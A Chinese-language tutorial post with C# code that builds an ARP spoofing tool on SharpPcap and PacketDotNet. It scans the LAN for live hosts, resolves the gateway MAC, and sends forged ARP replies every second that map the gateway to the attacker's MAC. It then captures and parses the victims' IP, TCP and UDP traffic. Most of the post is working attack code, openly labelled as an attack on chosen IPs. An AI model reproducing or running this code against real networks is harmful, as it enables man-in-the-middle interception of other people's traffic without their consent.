<PackageReference Include="PacketDotNet" Version="1.4.7" /> <PackageReference Include="SharpPcap" Version="6.2.5" />实战
LibPcapLiveDeviceList.Instance2.获取对应设备的ip和mac地址,以及网关ip
foreach (var address in LibPcapLiveDevice.Addresses) { if (address.Addr.type == Sockaddr.AddressTypes.AF_INET_AF_INET6) { //ipv4地址 if (address.Addr.ipAddress.AddressFamily == AddressFamily.InterNetwork) { LocalIp = address.Addr.ipAddress; break; } } } // 堆代码 duidaima.com foreach (var address in LibPcapLiveDevice.Addresses) { if (address.Addr.type == Sockaddr.AddressTypes.HARDWARE) { LocalMac = address.Addr.hardwareAddress; // 本机MAC } } var gw = LibPcapLiveDevice.Interface.GatewayAddresses; // 网关IP //ipv4的gateway GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == AddressFamily.InterNetwork);3.获取网关mac地址
var ethernetPacket = new EthernetPacket(localMac, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetType.Arp); var arpPacket = new ArpPacket(ArpOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), destinationIP, localMac, localIP); ethernetPacket.PayloadPacket = arpPacket;2).发送arp包到网关,并且等待下一个回复包。
LibPcapLiveDevice.Open(DeviceModes.Promiscuous, 20); LibPcapLiveDevice.Filter = arpFilter; var lastRequestTime = DateTime.FromBinary(0); var requestInterval = TimeSpan.FromMilliseconds(200); ArpPacket arpPacket = null; var timeoutDateTime = DateTime.Now + _timeout; while (DateTime.Now < timeoutDateTime) { if (requestInterval < (DateTime.Now - lastRequestTime)) { LibPcapLiveDevice.SendPacket(request); lastRequestTime = DateTime.Now; } if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0) { if (packet.Device.LinkType != LinkLayers.Ethernet) { continue; } var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray()); arpPacket = pack.Extract<ArpPacket>(); if (arpPacket == null)//是否是一个arp包 { continue; } if (arpPacket.SenderProtocolAddress.Equals(destIP)) { break; } } } // free the device LibPcapLiveDevice.Close(); return arpPacket?.SenderHardwareAddress;4.扫描局域网内活动ip和mac地址
var arpPackets = new Packet[targetIPList.Count]; for (int i = 0; i < arpPackets.Length; ++i) { arpPackets[i] = BuildRequest(targetIPList[i], LocalMac, LocalIp); }2).发送arp包到各个ip,如果回复了则在线,超时则认为不活动
if (_cancellationTokenSource.IsCancellationRequested) { break; } var lastRequestTime = DateTime.FromBinary(0); var requestInterval = TimeSpan.FromMilliseconds(200); var timeoutDateTime = DateTime.Now + _timeout; while (DateTime.Now < timeoutDateTime) { if (_cancellationTokenSource.IsCancellationRequested) { break; } if (requestInterval < (DateTime.Now - lastRequestTime)) { LibPcapLiveDevice.SendPacket(arpPackets[i]); lastRequestTime = DateTime.Now; } if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0) { if (packet.Device.LinkType != LinkLayers.Ethernet) { continue; } var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray()); var arpPacket = pack.Extract<ArpPacket>(); if (arpPacket == null) { continue; } //回复的arp包并且是我们请求的ip地址 if (arpPacket.SenderProtocolAddress.Equals(targetIPList[i])) { Application.Current.Dispatcher.Invoke(() => { ///增加到IPlist中 Computers.Add(new Computer() { IPAddress = arpPacket.SenderProtocolAddress.ToString(), MacAddress = arpPacket.SenderHardwareAddress?.ToString(), }); }); break; } } }5.指定ip/ips攻击
private Packet BuildResponse(IPAddress destIP, PhysicalAddress destMac, IPAddress senderIP, PhysicalAddress senderMac) { var ethernetPacket = new EthernetPacket(senderMac, destMac, EthernetType.Arp); var arpPacket = new ArpPacket(ArpOperation.Response, destMac, destIP, senderMac, senderIP); ethernetPacket.PayloadPacket = arpPacket; return ethernetPacket; }调用创建arp响应包,但是可以看到最后一个mac地址,应该是网关的mac地址,我们替换成了自己本地mac地址。
BuildResponse(IPAddress.Parse(compute.IPAddress), PhysicalAddress.Parse(compute.MacAddress), GatewayIp, LocalMac);2).直接以1000ms的间隔轮询发送响应包到目标主机
var aTask = Task.Run(async () => { while (true) { if (_cancellationTokenSource1.IsCancellationRequested) { break; } try { LibPcapLiveDevice.SendPacket(packet); } catch (Exception ex) { MessageBox.Show(ex.Message); } await Task.Delay(1000); } LibPcapLiveDevice.Close(); }, _cancellationTokenSource1.Token);6.获取网络数据包
/// <summary> /// 监听到攻击的网卡收到的数据包 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void OnPacketArrival(object sender, PacketCapture e) { try { var device = sender as LibPcapLiveDevice; var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray()); if (packet != null) { if (packet is EthernetPacket ethernetPacket) //数据包是以太网数据 { var targetComputer = ArpAttackComputers.FirstOrDefault(x => x.MacAddress == ethernetPacket.SourceHardwareAddress.ToString()); if (targetComputer != null) { var ipPacket = ethernetPacket.Extract<IPPacket>(); if (ipPacket != null) { var packetViewModel = new PacketViewModel(); packetViewModel.SourceIpAddress = ipPacket.SourceAddress.ToString(); packetViewModel.TargetIpAddress = ipPacket.DestinationAddress.ToString(); var udpPacket = ipPacket.Extract<UdpPacket>(); var tcpPacket = ipPacket.Extract<TcpPacket>(); packetViewModel.Type = "IP"; if (udpPacket != null) { packetViewModel.SourcePort = udpPacket.SourcePort; packetViewModel.TargetPort = udpPacket.DestinationPort; packetViewModel.Type = "UDP"; } if (tcpPacket != null) { packetViewModel.SourcePort = tcpPacket.SourcePort; packetViewModel.TargetPort = tcpPacket.DestinationPort; packetViewModel.Type = "TCP"; } targetComputer.AddPacket(packetViewModel); } else { ///mac地址没啥好记录的都知道了 var packetViewModel = new PacketViewModel(); packetViewModel.Type = "以太网"; targetComputer.AddPacket(packetViewModel); } } } } } catch (Exception) { } }我们解析了IP数据包,TCP以及UDP包。